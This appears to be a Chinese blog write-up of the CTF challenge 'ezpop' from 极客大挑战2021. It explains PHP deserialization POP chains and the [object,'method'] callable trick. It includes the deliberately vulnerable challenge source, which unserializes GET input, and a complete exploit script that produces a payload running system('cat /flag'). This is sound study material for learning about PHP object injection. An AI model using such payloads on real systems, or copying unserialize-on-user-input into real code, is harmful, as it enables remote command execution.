刷题笔记:[极客大挑战2021]ezpop


前言

关键字:[面向对象|类|反序列化]

感谢@F10wers_13eiCheng@Dji0x1n两位师傅的指点。

<?php

class a
{
    public function __destruct()
    {
        $this->test->test();
    }
}

abstract class b
{
    private $b = 1;

    abstract protected function eval();

    public function test()
    {
        ($this->b)();
    }
}

class c extends b
{
    private $call;
    protected $value;

    protected function eval()
    {
        if (is_array($this->value)) {
            ($this->call)($this->value);
        } else {
            die("you can't do this :(");
        }
    }
}

class d
{
    public $value;

    public function eval($call)
    {
        $call($this->value);
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}

题解

按照一般思路构造POP链,十分简单。

a::__destruct() -> c::test() -> c::eval()

但问题来了,类c是继承于抽象类b,而继承而来的test()方法其中有个$this->b,因为没有重写,所以指向是属性b,而且还是()()的形式,得想办法绕过这个限制。

('phpinfo')(); //可以
('$this->eval')(); //不行。这个执行的是函数名为$this->eval的函数。而常规的$this用法可以理解为先到$this的命名空间去,然后找到eval这个函数并执行。

想了很久,什么招都用上了,整不来,幸好有@F10wers_13eiCheng和@Dji0x1n两位师傅指点了一下,才知道还有这一种特殊用法。

先来看第一个demo。

<?php

class b
{
    public $a;

    public function eval()
    {
        echo 'OK';
    }

    public function __destruct()
    {
        ([$this, 'eval'])();
    }
}

$c = new b();
//OUTPUT:OK

如代码所示,以[类,函数名]这种形式准确的调用函数,再加上()来进行函数执行。

再来看第二个。

<?php

class a
{
    public $value;

    public function __construct($cmd)
    {
        $this->value = $cmd;
    }

    public function eval($call)
    {
        $call($this->value);
    }

}

class b
{
    public $a;
    public $call;
    public $value;

    public function __destruct()
    {
        $this->call = [new a('system'), 'eval'];
        $this->value = [new a('echo 123'), 'eval'];
        ($this->call)($this->value);
    }
}

$c = new b();

第二个稍微复杂了点,用xdebug调试下

在这下个断点

步入看看,实例化了一个类a,下同。

于是,callvalue结果为数组,且数组的第一个元素是一个对象

然后来看看($this->call)($this->value)是怎么执行的。

下个断点,步入

跳转到这

整理下思路,($this->call)($this->value);

先看一半,($this->call)()=[类a(system),'eval']() ,按第一个demo的思想,就是找到类a并执行其eval函数,而后面的$this->value是作为参数传进去的。原式=[类a(system),'eval']([类a(echo 123),'eval'])

这样就开始执行eval([类a,'eval'])函数。

此时在eval()函数中$call($this->value)=([类a(echo 123),'eval'])(system) ②。

然后会发现,①和②,十分相似!于是它又套娃了一遍,又一次执行eval([类a,'eval'])函数,函数变为system('echo 123')

这样,就达到了任意命令执行的目的了。

回到题目,顺着上面的思路,exp如下:

<?php

class a
{
    public $test;
}

abstract class b
{
    private $b;

    public function __construct()
    {
        $this->b = [$this, 'eval'];
    }
}

class c extends b
{
    private $call;
    protected $value;

    public function __construct()
    {
        parent::__construct();
        $this->call = [new d('system'), 'eval'];
        $this->value = [new d('cat /flag'), 'eval'];
    }
}

class d
{
    public $value;

    public function __construct($command)
    {
        $this->value = $command;
    }

    public function eval($call)
    {
        $call($this->value);
    }
}

$a = new a();
$a->test = new c();
echo urlencode(base64_encode(serialize($a)));

因为也不需要字符串逃逸啥的修改序列化后的代码,所以直接urlencode方便点,省的手改了。

看了一下题目php版本是7.4.24>7.1,也可以直接改为public。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录